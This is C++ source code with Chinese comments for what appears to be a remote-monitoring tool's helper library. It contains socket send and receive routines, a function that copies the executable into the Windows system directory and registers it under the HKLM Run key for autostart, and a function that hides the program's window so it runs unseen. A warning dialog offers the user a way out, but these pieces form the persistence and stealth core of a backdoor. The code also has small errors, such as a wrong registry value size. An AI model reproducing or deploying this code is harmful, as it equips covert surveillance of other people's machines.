注册表地址:计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
系统目录:
gyklib.h
// socket接收数据的方法
int SocketRecv(int sock, char* buf, int dataSize);
// socket发送数据的方法
int SocketSend(int sock, char* buf, int dataSize);
// 将指定的应用添加到注册表中
void AddToSystem(const char* appName);
// 将应用窗口隐藏起来,达到后台运行的目的
void HideMyself();
gyklib.cpp
#include <WinSock2.h>
#include <stdio.h>
#include "gyklib.h"
#include <Windows.h>
#include <io.h>
// 确保在包含WinSock2.h之前定义这些宏
#define WIN32_LEAN_AND_MEAN
#define _WINSOCK_DEPRECATED_NO_WARNINGS
int SocketRecv(int sock, char* buf, int dataSize)
{
// 目前收到的数据量
int numsRecvSoFar = 0;
// 未收到的数据量
int numsRemainingToRecv = dataSize;
printf("enter SocketRecv\n");
// 循环接收数据
while (true)
{
int bytesRead = recv(sock, &buf[numsRecvSoFar], numsRemainingToRecv, 0);
printf("###bytesRead = %d, numsRecvSoFar = %d, numsRemainingToRecv = %d\n",
bytesRead, numsRecvSoFar, numsRemainingToRecv);
if (bytesRead == numsRemainingToRecv)
{
return 0;
}
else if (bytesRead > 0)
{
numsRecvSoFar += bytesRead;
numsRemainingToRecv -= bytesRead;
continue;
}
else if (bytesRead < 0 && errno == EAGAIN)
{
continue;
}
else
{
return -1;
}
}
}
int SocketSend(int sock, char* buf, int dataSize)
{
// 目前发送的数据量
int numsSendSoFar = 0;
// 未发送的数据量
int numsRemainingToSend = dataSize;
printf("enter SocketSend\n");
// 循环接收数据
while (true)
{
int bytesSend = send(sock, &buf[numsSendSoFar], numsRemainingToSend, 0);
printf("###bytesSend = %d, numsRecvSoFar = %d, numsRemainingToRecv = %d\n",
bytesSend, numsSendSoFar, numsRemainingToSend);
if (bytesSend == numsRemainingToSend)
{
return 0;
}
else if (bytesSend > 0)
{
numsSendSoFar += bytesSend;
numsRemainingToSend -= bytesSend;
continue;
}
else if (bytesSend < 0 && errno == EAGAIN)
{
continue;
}
else
{
return -1;
}
}
}
void AddToSystem(const char* appName)
{
HKEY hKEY;
char CurrentPath[MAX_PATH];
char SysPath[MAX_PATH];
long ret = 0;
LPSTR FileNewName;
LPSTR FileCurrentName;
DWORD type = REG_SZ;
DWORD size = MAX_PATH;
// regedit win + R
LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
// 获取系统目录
GetSystemDirectory(SysPath, size);
// 获取当前模块的完整路径
GetModuleFileName(NULL, CurrentPath, size);
// 复制文件
FileCurrentName = CurrentPath;
FileNewName = lstrcat(lstrcat(lstrcat(SysPath, "\\"), appName), ".exe");
struct _finddata_t Steal;
if (_findfirst(FileNewName, &Steal) != -1)
{
MessageBox(0, "该程序已经安装过了!", "消息提示", NULL);
return;
}
int ihow = MessageBox(0, "该程序只允许用于合法的用途!\n继续运行该程序将使这台机器处于被监控的状态!\n如果您不想这样,请按“取消”按钮退出。\n按下“是”按钮该程序将被复制到您的机器上,并随系统启动自动 运行。\n按下“否”按钮,程序只运行一次,不会在您的系统内留下任何东西。", "警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);
if (ihow == IDCANCEL) exit(0);
if (ihow == IDNO) return;
// 复制文件到系统目录,并添加到注册表中
printf("FileCurrentName: %s\nFileNewName: %s\n", FileCurrentName, FileNewName);
ret = CopyFile(FileCurrentName, FileNewName, TRUE);
if (!ret)
{
MessageBox(0, "复制程序失败,请重试!", "错误", NULL);
return;
}
// 加入注册表
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);
if (ret != ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return;
}
// 设置Key
ret = RegSetValueEx(hKEY, appName, NULL, type, (const unsigned char*)FileNewName, size);
if (ret != ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return;
}
RegCloseKey(hKEY);
}
void HideMyself()
{
HWND hwnd = GetForegroundWindow();
ShowWindow(hwnd, SW_HIDE);
}